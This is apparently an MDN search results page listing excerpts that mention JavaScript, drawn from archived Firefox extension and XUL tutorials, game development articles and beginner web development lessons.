window.open( "chrome://xulschoolhello/content/someWindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); The first argument is the URL to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. If this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. The window.open page has a detailed description of the features you can use and their values. ...
...ce of the window. If this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. The window.open page has a detailed description of the features you can use and their values. The following features are very important and you should always keep them in mind: chrome. This can only be used from the chrome, not from regular HTML
JavaScript. It indicates that a chrome document is being opened, not a web page. This means that the document defines the whole window, and not only the inner content area. You should always include it when opening a XUL window or dialog. modal. Modal windows block their parent window until action is taken on them. An alert window is an example of this. Modal windows should be avoided when possible because...
... localization, so you save yourself a lot of work and favor them. Using the Prompt Service is the recommended way to create common dialogs in an extension. Read the article and its examples carefully, because there are many useful functions to use in the Prompt Service. There are some equivalent, simpler functions that are available in the window object, but those are meant for unprivileged HTML
JavaScript code. Alert The alert is the simplest form of dialog. All it does is display a text message that the user can read and then click the OK button to dismiss it. We have been using the window.alert function to open alert messages in our examples so far, but that's not the right way to do it. It's OK to use this function if you're just debugging some problem and want to see if the program reaches a...
...And 2 more matches
Setting Up a Development Environment - Archive of obsolete content
omator from waiting for your Firefox session to finish. Save this as an Application, not a Workflow. And you probably want to have these on your Desktop or Dock, for easy access. There are also some configuration changes you should make in your testing profiles, so that you get detailed error information in case something fails. The Firefox Error Console (Tools > Error Console) normally displays
JavaScript errors that occur on web pages, but with some tweaking you can get error information from your extension. Read this piece on Development preferences. Developer extensions There's a wide variety of Firefox extensions that aid web development and add-on development. A good place to look for them is the Mozilla Add-ons site, and there's also a good development extension list here. You should also ...
... the add-ons listed. In this section we'll cover a few that we have found to be very useful. DOM Inspector The DOM Inspector used to be part of Firefox as an installer option, but since Firefox 3 it has been separated as another add-on you can add and remove. It's a very useful inspection tool that lets you look into the DOM of HTML and XUL documents, as well as applied CSS rules and associated
JavaScript objects. Introduction to DOM Inspector is a good guide on how to get started using it. The DOM inspector is particularly useful in finding out how to overlay a window, and how to replace default CSS style rules. You can see the names of the files involved, which gives you a good starting point when looking into the Mozilla source. You can even change styles, attributes and execute
Javascript cod...
...uide on how to get started using it. The DOM inspector is particularly useful in finding out how to overlay a window, and how to replace default CSS style rules. You can see the names of the files involved, which gives you a good starting point when looking into the Mozilla source. You can even change styles, attributes and execute
Javascript code in it, although that's not completely reliable.
JavaScript Debugger The name says it all. The Venkman
JavaScript Debugger is a great way to trace execution of your
JavaScript code. To debug extension and browser code, right-click on the Loaded Scripts panel and uncheck Exclude Browser Files. The list of loaded scripts will grow long to include all of the scripts in Firefox. Having our file naming conventions prove very useful in this case. You can set ...
...And 2 more matches
Creating a dynamic status bar extension - Archive of obsolete content
ts for details. Update the chrome manifest The chrome manifest needs only a minor update from the previous sample; simply replace the ID of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher". If you need to brush up, visit the Chrome Manifest section. ...
...eed to brush up, visit the Chrome Manifest section. ...
...Unlike our previous sample, this one is implemented as an o...
...And 2 more matches
Localizing an extension - Archive of obsolete content
<< PreviousNext >> This article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension. Performing a few simple steps makes your extension much easier to localize into various languages without having to edit the XUL or
JavaScript files themselves. If you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: Creating a status bar extension Creating a dynamic status bar extension Adding preferences to an extension Download the sample You can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. Download the sample Localizing strings in XUL files Create the needed l...
...shInformation()"/> Do this for every string used in each XUL file. Update the chrome manifest To let Firefox know about the locale files, we need to make a revision to our chrome.manifest file, adding one line for each localization: locale stockwatcher2 en-US chrome/locale/ This instructs Firefox that the en-US localization is located in the chrome/locale/en-US directory. Localizing strings in
JavaScript code If your
JavaScript code contains literal strings that need to be localized, as does our stock watcher sample, we need to make those localizable as well. We can do this by moving the strings into a string bundle. String bundles are created by establishing a property file that maps keys to string values. For a detailed explanation of how this works, see XUL Tutorial:Property Files. Create a pr...
...k watcher sample, we need to make those localizable as well. We can do this by moving the strings into a string bundle. String bundles are created by establishing a property file that maps keys to string values. For a detailed explanation of how this works, see XUL Tutorial:Property Files. Create a properties file The first thing we do is create a property file for the literal strings used by the
JavaScript code in stockwatcher2.js: changeString=Chg: openString=Open: lowString=Low: highString=High: volumeString=Vol: The stockwatcher2.properties file shown above maps five keys (changeString, openString, lowString, highString, and volumeString) to the corresponding text in English. Create the string bundle The next step is to modify the stockwatcher2.xul file to reference this property file. We do th...
...And 2 more matches
Making it into a static overlay - Archive of obsolete content
es, and that's how we'll distribute our extension. Integrating extensions into the Mozilla codebase is beyond the scope of this tutorial, but for more information see mozilla.org's hacking documentation. Mozilla installer packages are called XPIs (pronounced "zippies"), which stands for cross-platform installer. The packages are just standard ZIP archives of the files to be installed along with a
JavaScript script that performs the installation and some RDF files that describe the components being installed for the chrome registry. Because our extension modifies an existing file in the Mozilla distribution, before we package it up we need to separate the modifications into a different file and add them back in at run time via a dynamic XUL overlay. A XUL overlay is a XUL file containing elements to ...
...fore we package it up we need to separate the modifications into a different file and add them back in at run time via a dynamic XUL overlay. A XUL overlay is a XUL file containing elements to be inserted into another XUL file when the other XUL file is rendered into an application interface. Static overlays are added to a XUL file via a reference at the top of the file (much like stylesheets and
JavaScript scripts). Dynamic overlays are added to a XUL file via a reference in the chrome registry. Overlays provide a way to break up a large XUL file into several different files (one that describes the overall structure of an application window and the others to implement specific portions of the window) to improve code readability, maintainability, and extensability. Dynamic overlays also make it poss...
...I...
...And 2 more matches
XPCOM Interfaces - Archive of obsolete content
<< PreviousNext >> In this section, we'll take a brief look at XPCOM (Cross-platform Component Object Model), which is the Object system that Mozilla uses. Calling Native Objects By using XUL we can build a complex user interface. We can attach scripts which modify the interface and perform tasks. However, there are quite a number of things that cannot be performed directly with
JavaScript. For example, if we wanted to create a mail application, we would need to write scripts which would connect to mail servers to retrieve and send mail.
JavaScript does not have the capability to do such things. The only way to handle this would be to write native code that would get mail. We also need to have a way for our scripts to call the native code easily. Mozilla provides such a method which invo...
...es are usually preceded by 'nsI' or 'mozI' so that they are easily recognized as interfaces. For example, the nsIAddressBook is the interface for interacting with an address book, nsISound is used for playing files and nsILocalFile is used for files. For more interfaces in Mozilla, see Interfaces. XPCOM components are typically implemented natively, which means that they generally do things that
JavaScript cannot do itself. However, there is a way in which you can call them, which we will see shortly. We can call any of the functions provided by the component as described by the interfaces it implements. For example, once we have a component, we can check if it implements nsISound, and, if so, we can play sound through it. The process of calling XPCOM from a script is called XPConnect, which is a ...
...ile. This component can be referred to using the string '@mozilla.org/file/local;1'. This string is called a contract ID. The syntax of a contract ID is: @<internetdomain>/module[/submodule[...]];<version>[?<name>=<value>[&<name>=<value>[...]]] Other components can be referred to in a similar way. The contract ID of the component can be used to get the component. You can get a component using
JavaScript code like that below: var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance(); The file component is retrieved and stored in the aFile variable. Components in the example above refers to a general object that provides some component related functions. Here, we get a component class from the classes property. The classes property is an array of all of the available componen...
...And 2 more matches
XUL Questions and Answers - Archive of obsolete content
</window> List box handlers can only check for listitems not listcells. If user wants checkbox support for multicolumn lists, then they will have to implement one. Are XUL attributes integers? XUL attributes such as left="100" or top="200", as well as corresponding properties, look as if they're integers but they are actually handled as strings. To convert them to integers use the parseInt()
JavaScript function. While the attributes are always strings per the DOM specification, the properties will eventually be fixed to return the value with the correct type. Using the "icon" attribute on a button From XULPlanet.com reference: This attribute should be used to set the usage for common buttons. Some platforms display these buttons with a small icon indicating their usage. This should be u...
...nt, and building the menupopup using DOM methods (such as document.createElementNS). By getting data as XML from the server. (server can just send the XUL code to use for popup - alternatively it can send generic XML describing the attributes of the items in the menu and you generate the XUL on client by applying an XSLT transform.) Can I change a XUL tree cell/row/item background color with
JavaScript? To set the background color you need to set the property for the cell/row and not for the item. An example of this is: var tree = document.getElementById('treeId'); selectedtreeitem = tree.view.getItemAtIndex(tree.currentIndex); selectedtreeitem.firstChild.setAttribute('style', 'background: #FF0000'); What is an example of tab browser in XUL? An example of tab browswer in XUL How can...
...}; listObj.onSecurityChange = function() { return 0 }; listObj.onLinkIconAvailable = function() { return 0 }; /* I use the progress listener to trap the end of a local HTML "template" file loading, and run XSLT transormations. In addition I need to evaluate the browser contentDocument DOM in order to clean "target" attributes on links, and so on. ...
...And 2 more matches
Gecko Compatibility Handbook - Archive of obsolete content
accessibility. 4.x vs. Gecko Since 1997, much of the Web's content has been developed for Microsoft Internet Explorer 4 or Netscape Navigator 4. These browsers were developed before the relevant W3C recommendations for HTML, CSS, and the DOM existed. These earlier, non-standards based browsers differed in several ways from Gecko: These browsers use proprietary (non-standard) HTML, CSS, and
JavaScript. Internet Explorer 4 and Netscape Navigator 4 share support for a large part of the HTML 3.2 standard and basic
JavaScript. While they support the CSS 1 standard to some degree, the implementations are not complete and have non-standard features added. Neither Internet Explorer 4 or Netscape Navigator 4 support the W3 DOM. Instead, each browser supports its own proprietary API for manipulating...
...rence As discussed in Mozilla's Using Web Standards in Your Web Pages, coding for cross-browser compatibility requires you write standard markup that Gecko-based browsers, Netscape 4, and IE browsers can render properly. Symptom Possible Problem Solution Site works correctly in Netscape 6.x but not Netscape 7.x or other browsers based upon Gecko. The browser detection
JavaScript detects Netscape 6.x but does not detect other Gecko-based browsers. Upgrade the browser detection
JavaScript to detect "Gecko." (related article) Content differs in Gecko browsers and Internet Explorer Use of proprietary or invalid markup (such as is generated by some Microsoft Office applications). Use the W3 HTML and CSS Validator Tools to valid...
...r invalid markup (such as is generated by some Microsoft Office applications). Use the W3 HTML and CSS Validator Tools to validate the web page. Correct any errors and replace proprietary code wherever possible. Upgrade web authoring tool to versions that support the W3 standards and Gecko browsers Content differs in Gecko browsers and Internet Explorer The
JavaScript Console in Netscape 6.x and Netscape 7.x displays errors about document.all, document.layers, document.<property> not being defined because of an incorrect browser sniffing, or use of proprietary
JavaScript. Update browser sniffing to correctly detect Gecko browsers. Upgrade APIs to use newer standards-conformant versions Upgrade web authoring tool to versions that support...
...And 2 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
4.x Netscape browsers lost this possibility in the new world. The main reason for this is that there is no guarantee of Java compatibility on a binary level due to the jri/jni switch. The new Mozilla XPCOM architecture allows XPCOM components be scriptable via a different mechanism called XPConnect. We leverage some of these ideas to help you make your Netscape Communicator 4.x plugins exposed to
JavaScript in Mozilla based browsers. In order to make it still possible to script plugins, some changes have been made to the Mozilla code. The changes allow to make existing 4.x plugins scriptable with only minor modifications in their code. The present document describes the steps of what should be done to the plugin code to turn it scriptable again. What's in the Mozilla code? A couple of lines have bee...
...anceVariable_ScriptableIID = 11 What's in the plugin code? A unique interface id should be obtained. Windows command uuidgen should be sufficient. An Interface Definition (.idl) file describing the plugin scriptable interface should be added to the project (see example 1). A Scriptable instance object should be implemented in the plugin. This class will contain native methods callable from
JavaScript. This class should also inherit from nsIClassInfo and implement its methods to be able to request all necessary privileges from the Mozilla security manager (see example 2). Two new cases for the above mentioned new variables should be added to the plugin implementation of NPP_GetValue (see example 3). How to call plugin native methods The following HTML code will do the job:</p> This should be ...
... all necessary privileges from the Mozilla security manager (see example 2). Two new cases for the above mentioned new variables should be added to the plugin implementation of NPP_GetValue (see example 3). How to call plugin native methods The following HTML code will do the job:</p> This should be changed, we shouldn't advocate EMBED <embed type="application/plugin-mimetype"> <script language="
javascript"> var embed = document.embeds[0]; embed.nativeMethod(); </script> How to build and install Having the built Mozilla tree is probably not necessary, but building the plugin with a scriptable instance interface will require Mozilla headers and the XPCOM compatible idl compiler -- xpidl.exe. MS DevStudio MIDL must not be used. (Let's assume 'TestPlugin' as a plugin name-place holder.) Compile nsIT...
...And 2 more matches
Archive of obsolete content
e same-origin policy. Index of archived content Inner-browsing extending the browser navigation paradigm This article is the version from 2003 with slight modifications (no images and no links to samples). It's here for reference. Install.js See also this article from XulPlanet's Main Tutorial. ...
...sing extending the browser navigation paradigm This article is the version from 2003 with slight modifications (no images and no links to samples). It's here for reference. Install.js See also this article from XulPlanet's Main Tutorial. JXON JXON (lossless
JavaScript XML Object Notation) is a generic name by which is defined the representation of
JavaScript Objects using XML. There are no real standards for this conversion, but some conventions begin to appear on the web. There are some cases in which the whole content of an XML document must be read from the
JavaScript interpreter (like for web-apps languages or settings XML documents, for example). In these cases JXON could represent the most practical way. List ...
...ion about an existing project, please feel free to update this page. Localizing an extension This article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension. Performing a few simple steps makes your extension much easier to localize into various languages without having to edit the XUL or
JavaScript files themselves. Makefile - .mk files Misc top level These pages were moved from the top level of MDN in a spate of furious reorganization. MMgc MMgc is the Tamarin (nee Macromedia) garbage collector, a memory management library that has been built as part of the AVM2/Tamarin effort. It is a static library that is linked into th...
...And 2 more matches
Introduction to game development for the Web - Game development
th desktop and native OS counterparts. With modern Web technologies and a recent browser, it's entirely possible to make stunning, top-notch games for the Web. And we're not talking about simple card games or multi-player social games that have in the olden days been done using Flash(R). We're talking about kick-ass 3D action shooters, RPGs, and more. Thanks to massive performance improvements in
JavaScript just-in-time compiler technology and new APIs, you can build games that run in the browser (or on HTML5-powered devices) without making compromises. The HTML5 game platform You can truly think of the Web as a better target platform for your game. As we like to say, "the Web is the platform." Let's take a look at the core of the Web platform: Function Technology Audio ...
... truly think of the Web as a better target platform for your game. As we like to say, "the Web is the platform." Let's take a look at the core of the Web platform: Function Technology Audio Web Audio API Graphics WebGL (OpenGL ES 2.0) Input Touch events, Gamepad API, device sensors, WebRTC, Full Screen API, Pointer Lock API Language
JavaScript (or C/C++ using Emscripten to compile to
JavaScript) Networking WebRTC and/or WebSockets Storage IndexedDB or the "cloud" Web HTML, CSS, SVG (and much more!) The business case As a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the Web with your next game project. Let's look at how the ...
...al audio processing power! IndexedDB A powerful data storage API for maintaining user data on their own computer or device. A great way to save game state and other information locally so it doesn't have to be downloaded every time it's needed. Also useful to help make your game playable even when the user isn't connected to the Web (such as when they're stuck on an airplane for hours on end).
JavaScript JavaScript, the programming language used on the Web, is blazing fast in modern browsers and getting faster all the time. Use its power to write the code for your game, or look at using technologies like Emscripten or Asm.js to easily port your existing games. Pointer Lock API The Pointer Lock API lets you lock the mouse or other pointing device within your game's interface so that instead of ...
...And 2 more matches
3D collision detection - Game development
AABB Checking whether an AABB intersects another AABB is similar to the point test. We just need to do one test per axis, using the boxes' boundaries. The diagram below shows...
... intersects another AABB is similar to the point test. We just need to do one test per axis, using the boxes' boundaries. The diagram below shows the test we'd perform over the X-axis -- basically, do the ranges AminX-AmaxX and BminX-BmaxX overlap? Mathematically this would look like so: f(A,B)=(AminX<=BmaxX?AmaxX>=BminX)?(AminY<=BmaxY?AmaxY>=BminY)?(AminZ<=BmaxZ?AmaxZ>=BminZ)f(A,B) = And in
JavaScript, we'd use this: function intersect(a, b) { return (a.minX <= b.maxX && a.maxX >= b.minX) && (a.minY <= b.maxY && a.maxY >= b.minY) && (a.minZ <= b.maxZ && a.maxZ >= b.minZ); } Bounding spheres Using bounding spheres to detect collisions is a bit more complex than AABB, but still fairly quick to test. The main advantage of spheres is that they are invariant to rotation, so ...
..., the point is inside the sphere. Taking into account that the Euclidean distance between two points A and B is (Ax-Bx)2)+(Ay-By)2+(Az-Bz)\sqrt{(A_x - B_x) ^ 2) + (A_y - B_y)^2 + (A_z - B_z)} , our formula for point vs. ...
...And 2 more matches
3D games on the Web - Game development
Documentation and browser support The WebGL project documentation and specification is maintained by the Khronos Group, not the W3C as with most of the web APIs. Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. ...
... Documentation and browser support The WebGL project documentation and specification is maintained by the Khronos Group, not the W3C as with most of the web APIs. Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. ...
...g is hitting something else. We have information available for you to learn from: 2D collision detection 3D collision detection WebXR The concept of virtual reality is not new, but it's storming onto the web thanks to hardware advancements such as the Oculus Rift, and the (currently experimental) WebXR API for capturing information from VR and AR hardware and making it available for use in
JavaScript applications. For more, see WebXR Device API. There's also the Building up a basic demo with A-Frame article showing you how easy it is to build 3D environments for virtual reality using the A-Frame framework. The rise of libraries and frameworks Coding raw WebGL is fairly complex, but you'll want to get to grips with it in the long run, as your projects get more advanced (see our WebGL docume...
...And 2 more matches
Implementing game control mechanisms - Game development
this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads. Case study We'll be using the Captain Rogers: Battle at Andromeda demo as an example. Captain Rogers was created using the Phaser framework, the most popular tool for simple 2D game development in
JavaScript right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure
JavaScript or any other framework. If you're looking for a good introduction to Phaser, then check the 2D breakout game using Phaser tutorial. In the following articles we will show how to implement various different control mechanisms for Captain Rogers to support different...
... will show how to implement various different control mechanisms for Captain Rogers to support different platforms -- from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like TV remote, shouting to or waving your hand in front of the laptop, or squeezing bananas. Setting up the environment Let's start with a quick overview of the game's folder structure,
JavaScript files and in-game states, so we know what's happening where. The game's folders look like this: As you can see there are folders for images,
JavaScript files, fonts and sound effects. The src folder contains the
JavaScript files split as a separate states -- Boot.js, Preloader.js, MainMenu.js and Game.js -- these are loaded into the index file in this exact order. The first one initializes Pha...
... This will be executed whenever the mouse button is pressed, and it will be checked against the input's isDown boolean variable on every frame of the game. That should give you some understanding of the project structure. We'll be playing mostly with the MainMenu.js and Game.js files, and we'll explain the code inside the create() and update() methods in much more detail in later articles. ...
...And 2 more matches
Efficient animation for web games - Game development
There are several techniques worth knowing that will improve the performance of your game or application whilst also using less battery life, especially on low-end devices. ...
...es. It is worth documenting some of these things, as there is evidence to suggest (in popular and widely-used UI libraries, for example) that they aren't necessarily common knowledge. First off, let us discuss some basic ideas. Help the browser help you If you are using DOM for your UI, which I would certainly recommend, you really ought to use CSS transitions and/or CSS animations, rather than
JavaScript-powered animations. Though
JavaScript animations can be easier to express at times, unless you have a great need to synchronise UI animation state with game animation state, you're unlikely to be able to do a better job than the browser. The reason for this is that CSS transitions/animations are much higher level than
JavaScript, and express a very specific intent. Because of this, the browser ca...
...s you have a great need to synchronise UI animation state with game animation state, you're unlikely to be able to do a better job than the browser. The reason for this is that CSS transitions/animations are much higher level than
JavaScript, and express a very specific intent. Because of this, the browser can make some assumptions that it can't easily make when you're manually tweaking values in
JavaScript. ...
...And 2 more matches
asm.js - Game development
Asm.js is a specification defining a subset of
JavaScript that is highly optimizable. This article looks at exactly what is permitted in the asm.js subset, what improvements it confers, where and how you can make use of it, and further resources and examples. What is asm.js, exactly? It is a very small, strict subset of
JavaScript that only allows things like `while`, `if`, numbers, top-level named functions, and other simple constructs. It does not allow objects, strings, closures, and basically anything that requires heap allocation. Asm.js code resembles C in many ways, but it's still completely valid
JavaScript that will run in all current engines. It pushes JS engines to optimize this kind of code, and gives compilers like Emscripten a clear definition of what kind of code to generat...
...However, by defining an explicit standard we can work on optimizing this kind of code even more and getting as much performance as we can out of it. ...
...However, by defining an explicit standard we can work on optimizing this kind of code even more and getting as much performance as we can out of it. It makes it easier to collaborate across multiple JS engines because it's easy to talk about and benchmark. ...
...And 2 more matches
Gecko FAQ - Gecko Redirect 1
Gecko is used in multiple browsers, including Mozilla Firefox, SeaMonkey, and others. Gecko is continuously under development at mozilla.org. Gecko has been known previously by the code names "Raptor" and "NGLayout"; the new name was chosen following a trademark infringement dispute. For more information see the Wikipedia article on Gecko. ...
...tent area, which is the blank area inside the browser window's chrome. Formally, a layout engine defines the placement policy for a document and places content on a page. Gecko's core is a very fast layout engine. Gecko also offers the ability to parse various document types (HTML, XML, SVG, etc), advanced rendering capabilities including compositing and transformations, and support for embedded
JavaScript and plugins. Gecko is so fast and so powerful that it's being used to create the user interface of some applications ("chrome") as well. In other words, Gecko will not only be displaying the document's content, but it will also be painting the scrollbars, toolbars, and menus on the screen as well. For more information see XUL. How is a layout engine like Gecko different from a Web browser? Gec...
...rmation, see the DOM in Mozilla Level 1 HTML DOM 2 - Most of it has already been implemented in Gecko, including support for DOM 2 events, the DOM 2 Style, and the DOM2 Core. DOM 3 support is also planned for a future release. ...
...And 2 more matches
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
For example, a polyfill could be used to mimic the functionality of an HTML Canvas element on Microsoft Internet Explorer 7 using a Silverlight plugin or mimic support for CSS rem units, or text-shadow, or whatever you want. The reason why polyfills are not used exclusively is for better functionality and better performance. Native implementations of APIs can do more and are faster than polyfills. For example, the Object.create polyfill only contains the functionalities that are possible in a non-native implementation of Object.create. ...
...e. Native implementations of APIs can do more and are faster than polyfills. For example, the Object.create polyfill only contains the functionalities that are possible in a non-native implementation of Object.create. Other times, polyfills are used to address issues where browsers implement the same features in different ways. ...
...ther times, polyfills are used to address issues where browsers implement the same features in different ways. The polyfill uses non-standard features in a certain browser to give
JavaScript a standards-compliant way to access the feature. Although this reason for polyfilling is very rare today, it was especially prevalent back in the days of IE6, Netscape, and NNav where each browser implemented
Javascript very differently. The 1st version of JQuery was an early example of a polyfill. It was essentially a compilation of browser-specific workarounds so that
JavaScript developers could have a single common API that worked in all browsers. At the time,
JavaScript developers were grasping at straws trying to get their website to work across all devices because there was such a discrepancy between brows...
...And 2 more matches
Accessibility - Learn web development
We'll cover accessibility in special detail. Overview When someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web -- even and especially users with physical or mental impairments. ...
...We'll cover accessibility in special detail. Overview When someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web -- even and especially users with physical or mental impairments. ...
...ues on web pages. The following video provides a nice introduction to it: Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites To get the most out of this module, it would be a good idea to either work through at least the first two modules of the HTML, CSS, and
JavaScript topics, or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics. Note: If you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you can try out most of the code examples in an online coding program such as JSBin or Glitch. Guides What is accessibility? This...
...And 2 more matches
What’s in the head? Metadata in HTML - Learn web development
let you know what such things are, in case you come across them while browsing other websites' source code. Note: If your site uses a Content Security Policy (CSP) to enhance its security, the policy applies to the favicon. If you encounter problems with the favicon not loading, verify that the Content-Security-Policy header's img-src directive is not preventing access to it. Applying CSS and
JavaScript to HTML Just about all websites you'll use in the modern day will employ CSS to make them look cool, and
JavaScript to power interactive functionality, such as video players, maps, games, and more. These are most commonly applied to a web page using the <link> element and the <script> element, respectively. The <link> element should always go inside the head of your document. This takes tw...
... The <link> element should always go inside the head of your document. This takes two attributes, rel="stylesheet", which indicates that it is the document's stylesheet, and href, which contains the path to the stylesheet file: <link rel="stylesheet" href="my-css-file.css"> The <script> element should also go into the head, and should include a src attribute containing the path to the
JavaScript you want to load, and defer, which basically instructs the browser to load the
JavaScript at the same time as the page's HTML. This is useful as it makes sure that the HTML is all loaded before the
JavaScript runs, so that you don't get errors resulting from
JavaScript trying to access an HTML element that doesn't exist on the page yet. There are actually a number of ways to handle loading JavaSc...
... foolproof one to use for modern browsers (for others, read Script loading strategies). <script src="my-js-file.js" defer></script> Note: The <script> element may look like an empty element, but it's not, and so needs a closing tag. Instead of pointing to an external script file, you can also choose to put your script inside the <script> element. Active learning: applying CSS and
JavaScript to a page To start this active learning, grab a copy of our meta-example.html, script.js and style.css files, and save them on your local computer in the same directory. Make sure they are saved with the correct names and file extensions. Open the HTML file in both your browser, and your text editor. By following the information given above, add <link> and <script> elements to your HTML, so ...
...And 2 more matches
From object to iframe — other embedding technologies - Learn web development
unlikely that you'll come across any browser that doesn't support <iframe>s these days. sandbox This attribute, which works in slightly more modern browsers than the rest of the <iframe> features (e.g. IE 10 and above) requests heightened security settings; we'll say more about this in the next section. Note: In order to improve speed, it's a good idea to set the iframe's src attribute with
JavaScript after the main content is done with loading. This makes your page usable sooner and decreases your official page load time (an important SEO metric.) Security concerns Above we mentioned security concerns -- let's go into this in a bit more detail now. We are not expecting you to understand all of this content perfectly the first time; we just want to make you aware of this concern, and provid...
...things on your website, therefore you should give embedded content only the permissions needed for doing its job. Of course, this applies to your own content, too. A container for code where it can be used appropriately -- or for testing -- but can't cause any harm to the rest of the codebase (either accidental or malicious) is called a sandbox. Unsandboxed content can do way too much (executing
JavaScript, submitting forms, popup windows, etc.) By default, you should impose all available restrictions by using the sandbox attribute with no parameters, as shown in our previous example. If absolutely required, you can add permissions back one by one (inside the sandbox="" attribute value) -- see the sandbox reference entry for all the available options. One important note is that you should never ad...
...utely required, you can add permissions back one by one (inside the sandbox="" attribute value) -- see the sandbox reference entry for all the available options. One important note is that you should never add both allow-scripts and allow-same-origin to your sandbox attribute -- in that case, the embedded content could bypass the Same-origin policy that stops sites from executing scripts, and use
JavaScript to turn off sandboxing altogether. Note: Sandboxing provides no protection if attackers can fool people into visiting malicious content directly (outside an iframe). If there's any chance that certain content may be malicious (e.g., user-generated content), please serve it from a different domain to your main site. Configure CSP directives CSP stands for content security policy and provides ...
...And 2 more matches
Image gallery - Learn web development
Previous Overview: Building blocks Now that we've looked at the fundamental building blocks of
JavaScript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites -- a
JavaScript-powered image gallery. Prerequisites: Before attempting this assessment you should have already worked through all the articles in this module. Objective: To test comprehension of
JavaScript loops, functions, conditionals, and events. Starting point To get this assessment started, you should go and grab the ZIP file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with. Alternatively, you could use a site like JSBin or Glitch to do your assessment. Yo...
... Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. ...
... Starting point To get this assessment started, you should go and grab the ZIP file for the example, unzip it somewhere on your computer, and do the exercise locally to begin with. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and
JavaScript into one of these online editors. If the online editor you are using doesn't have separate
JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page. ...
...And 2 more matches
Adding features to our bouncing balls demo - Learn web development
Previous Overview: Objects In this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some new and interesting features to it. Prerequisites: Before attempting this assessment you should have already worked through all the articles in this module. Objective: To test comprehension of
JavaScript objects and object-oriented constructs Starting point To get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and
JavaScript into one of these online editors. If the online editor you ...
...ting point To get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and
JavaScript into one of these online editors. If the online editor you are using doesn't have separate
JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Hints and tips A couple of pointers before you get started. This assessment is quite challenging. Read the whole assessment before you start coding, and take each step slowly and care...
...Detect() methods on every iteration of the loop. Implementing the score counter To implement the score counter, follow the following steps: In your HTML file, add a <p> element just below the <h1> element containing the text "Ball count: ". In your CSS file, add the following rule at the bottom: p { position: absolute; margin: 0; top: 35px; right: 5px; color: #aaa; } In your
JavaScript, make the following updates: Create a variable that stores a reference to the paragraph. Keep a count of the number of balls on screen in some way. Increment the count and display the updated number of balls each time a ball is added to the scene. Decrement the count and display the updated number of balls each time the evil circle eats a ball (causes it not to exist). As...
...And 2 more matches
Object building practice - Learn web development
Previous Overview: Objects Next In previous articles we looked at all the essential
JavaScript object theory and syntax details, giving you a solid base to start from. In this article we dive into a practical exercise, giving you some more practice in building custom
JavaScript objects, with a fun and colorful result. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, familiarity with
JavaScript basics (see First steps and Building blocks) and OOJS basics (see Introduction to objects). Objective: To get some practice with using objects and object-oriented techniques in a real world context. Let's bounce some balls In this article we will write a classic "bouncing balls" demo, to show you how useful objects can be in
JavaScript. O...
...ques like bouncing balls off walls, and checking whether they have hit each other (otherwise known as collision detection). Getting started To begin with, make local copies of our index.html, style.css, and main.js files. These contain the following, respectively: A very simple HTML document featuring an <h1> element, a <canvas> element to draw our balls on, and elements to apply our CSS and
JavaScript to our HTML. Some very simple styles, which mainly serve to style and position the <h1>, and get rid of any scrollbars or margin around the edge of the page (so that it looks nice and neat). Some
JavaScript that serves to set up the <canvas> element and provide a general function that we're going to use. The first part of the script looks like so: const canvas = document.querySelector('canva...
...had specified only 1 * PI, you'd get a semi-circle (180 degrees). Last of all, we use the fill() method, which basically states "finish drawing the path we started with beginPath(), and fill the area it takes up with the color we specified earlier in fillStyle." You can start testing your object out already. Save the code so far, and load the HTML file in a browser. Open the browser's
JavaScript console, and then refresh the page so that the canvas size changes to the smaller visible viewport that remains when the console opens. Type in the following to create a new ball instance: let testBall = new Ball(50, 100, 4, 4, 'blue', 10); Try calling its members: testBall.x testBall.size testBall.color testBall.draw() When you enter the last line, you should see the ball draw itself ...
...And 2 more matches
Introduction to the server side - Learn web development
g of what a web server is. Objective: To gain familiarity with what server-side programming is, what it can do, and how it differs from client-side programming. Most large-scale websites use server-side code to dynamically display different data when needed, generally pulled out of a database stored on a server and sent to the client to be displayed via some code (e.g. HTML and
JavaScript). Perhaps the most significant benefit of server-side code is that it allows you to tailor website content for individual users. Dynamic sites can highlight content that is more relevant based on user preferences and habits. It can also make sites easier to use by storing personal preferences and information -- for example reusing stored credit card details to streamline subsequent payments. I...
